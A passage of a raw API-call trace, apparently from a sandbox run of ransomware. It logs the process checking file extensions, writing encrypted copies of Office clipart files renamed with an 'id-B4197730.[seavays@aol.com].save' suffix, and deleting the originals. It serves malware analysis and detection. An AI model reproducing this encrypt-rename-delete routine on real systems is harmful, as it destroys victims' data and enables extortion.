[0077.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0077.878] lstrlenW (lpString=".1cd") returned 4 [0077.878] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0077.878] lstrlenW (lpString=".jpg") returned 4 [0077.878] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.879] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.879] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0077.880] GetLastError () returned 0x0 [0077.880] ReadFile (in: hFile=0x394, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x738, lpOverlapped=0x0) returned 1 [0077.901] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x740, lpOverlapped=0x0) returned 1 [0077.902] ReadFile (in: hFile=0x394, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.902] WriteFile (in: hFile=0x37c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.902] SetEndOfFile (hFile=0x37c) returned 1 [0077.903] CloseHandle (hObject=0x37c) returned 1 [0077.903] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.903] SetEndOfFile (hFile=0x394) returned 1 [0077.905] CloseHandle (hObject=0x394) returned 1 [0077.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.905] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 1 [0077.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0077.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0077.906] lstrlenW (lpString=".doc") returned 4 [0077.906] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.906] lstrlenW (lpString=".docx") returned 5 [0077.906] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.906] lstrlenW (lpString=".pdf") returned 4 [0077.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.906] lstrlenW (lpString=".xls") returned 4 [0077.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.906] lstrlenW (lpString=".xlsx") returned 5 [0077.906] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.906] lstrlenW (lpString=".ppt") returned 4 [0077.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0077.906] lstrlenW (lpString=".zip") returned 4 [0077.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.906] lstrlenW (lpString=".rar") returned 4 [0077.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.907] lstrlenW (lpString=".bz2") returned 4 [0077.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.907] lstrlenW (lpString=".7z") returned 3 [0077.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0077.907] lstrlenW (lpString=".dbf") returned 4 [0077.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0077.907] lstrlenW (lpString=".1cd") returned 4 [0077.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0077.907] lstrlenW (lpString=".jpg") returned 4 [0077.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.925] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.925] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0077.927] GetLastError () returned 0x0 [0077.927] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x764, lpOverlapped=0x0) returned 1 [0077.932] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x770, lpOverlapped=0x0) returned 1 [0077.933] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.933] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.933] SetEndOfFile (hFile=0x398) returned 1 [0077.934] CloseHandle (hObject=0x398) returned 1 [0077.934] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.934] SetEndOfFile (hFile=0x2f8) returned 1 [0077.935] CloseHandle (hObject=0x2f8) returned 1 [0077.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 1 [0077.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0077.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0077.936] lstrlenW (lpString=".doc") returned 4 [0077.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.936] lstrlenW (lpString=".docx") returned 5 [0077.937] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.937] lstrlenW (lpString=".pdf") returned 4 [0077.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.937] lstrlenW (lpString=".xls") returned 4 [0077.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.937] lstrlenW (lpString=".xlsx") returned 5 [0077.937] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.937] lstrlenW (lpString=".ppt") returned 4 [0077.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0077.937] lstrlenW (lpString=".zip") returned 4 [0077.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.937] lstrlenW (lpString=".rar") returned 4 [0077.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.937] lstrlenW (lpString=".bz2") returned 4 [0077.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.937] lstrlenW (lpString=".7z") returned 3 [0077.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0077.937] lstrlenW (lpString=".dbf") returned 4 [0077.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0077.937] lstrlenW (lpString=".1cd") returned 4 [0077.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0077.937] lstrlenW (lpString=".jpg") returned 4 [0077.938] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.938] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.939] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0077.939] GetLastError () returned 0x0 [0077.939] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x788, lpOverlapped=0x0) returned 1 [0078.317] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x790, lpOverlapped=0x0) returned 1 [0078.318] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.318] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.318] SetEndOfFile (hFile=0x398) returned 1 [0078.626] CloseHandle (hObject=0x398) returned 1 [0078.626] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.626] SetEndOfFile (hFile=0x2f8) returned 1 [0078.627] CloseHandle (hObject=0x2f8) returned 1 [0078.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 1 [0078.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0078.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0078.628] lstrlenW (lpString=".doc") returned 4 [0078.628] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.628] lstrlenW (lpString=".docx") returned 5 [0078.628] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.628] lstrlenW (lpString=".pdf") returned 4 [0078.628] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.628] lstrlenW (lpString=".xls") returned 4 [0078.628] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.628] lstrlenW (lpString=".xlsx") returned 5 [0078.628] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.628] lstrlenW (lpString=".ppt") returned 4 [0078.628] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0078.628] lstrlenW (lpString=".zip") returned 4 [0078.628] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.628] lstrlenW (lpString=".rar") returned 4 [0078.628] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.628] lstrlenW (lpString=".bz2") returned 4 [0078.628] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.628] lstrlenW (lpString=".7z") returned 3 [0078.628] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0078.628] lstrlenW (lpString=".dbf") returned 4 [0078.628] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0078.628] lstrlenW (lpString=".1cd") returned 4 [0078.628] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0078.628] lstrlenW (lpString=".jpg") returned 4 [0078.628] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.629] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.629] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0078.630] GetLastError () returned 0x0 [0078.630] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x6e34, lpOverlapped=0x0) returned 1 [0078.632] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x6e40, lpOverlapped=0x0) returned 1 [0078.633] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.633] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.633] SetEndOfFile (hFile=0x398) returned 1 [0078.633] CloseHandle (hObject=0x398) returned 1 [0078.633] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.633] SetEndOfFile (hFile=0x2f8) returned 1 [0078.634] CloseHandle (hObject=0x2f8) returned 1 [0078.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 1 [0078.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0078.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0078.635] lstrlenW (lpString=".doc") returned 4 [0078.635] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.636] lstrlenW (lpString=".docx") returned 5 [0078.636] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0078.636] lstrlenW (lpString=".pdf") returned 4 [0078.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.636] lstrlenW (lpString=".xls") returned 4 [0078.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.636] lstrlenW (lpString=".xlsx") returned 5 [0078.636] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0078.636] lstrlenW (lpString=".ppt") returned 4 [0078.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0078.636] lstrlenW (lpString=".zip") returned 4 [0078.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.636] lstrlenW (lpString=".rar") returned 4 [0078.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.636] lstrlenW (lpString=".bz2") returned 4 [0078.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.636] lstrlenW (lpString=".7z") returned 3 [0078.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0078.636] lstrlenW (lpString=".dbf") returned 4 [0078.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0078.636] lstrlenW (lpString=".1cd") returned 4 [0078.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0078.636] lstrlenW (lpString=".jpg") returned 4 [0078.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.637] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.637] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0078.638] GetLastError () returned 0x0 [0078.638] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x44e6, lpOverlapped=0x0) returned 1 [0078.640] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x44f0, lpOverlapped=0x0) returned 1 [0078.642] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.642] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.642] SetEndOfFile (hFile=0x398) returned 1 [0078.642] CloseHandle (hObject=0x398) returned 1 [0078.642] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.643] SetEndOfFile (hFile=0x2f8) returned 1 [0078.644] CloseHandle (hObject=0x2f8) returned 1 [0078.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.644] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 1 [0078.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0078.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0078.645] lstrlenW (lpString=".doc") returned 4 [0078.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.645] lstrlenW (lpString=".docx") returned 5 [0078.645] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0078.645] lstrlenW (lpString=".pdf") returned 4 [0078.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.645] lstrlenW (lpString=".xls") returned 4 [0078.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.645] lstrlenW (lpString=".xlsx") returned 5 [0078.645] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0078.645] lstrlenW (lpString=".ppt") returned 4 [0078.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0078.646] lstrlenW (lpString=".zip") returned 4 [0078.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.646] lstrlenW (lpString=".rar") returned 4 [0078.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.646] lstrlenW (lpString=".bz2") returned 4 [0078.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.646] lstrlenW (lpString=".7z") returned 3 [0078.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0078.646] lstrlenW (lpString=".dbf") returned 4 [0078.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0078.646] lstrlenW (lpString=".1cd") returned 4 [0078.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0078.646] lstrlenW (lpString=".jpg") returned 4 [0078.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.647] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.648] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0078.649] GetLastError () returned 0x0 [0078.649] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xd04, lpOverlapped=0x0) returned 1 [0078.651] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xd10, lpOverlapped=0x0) returned 1 [0078.652] ReadFile (in: hFile=0x2f8, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.652] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.652] 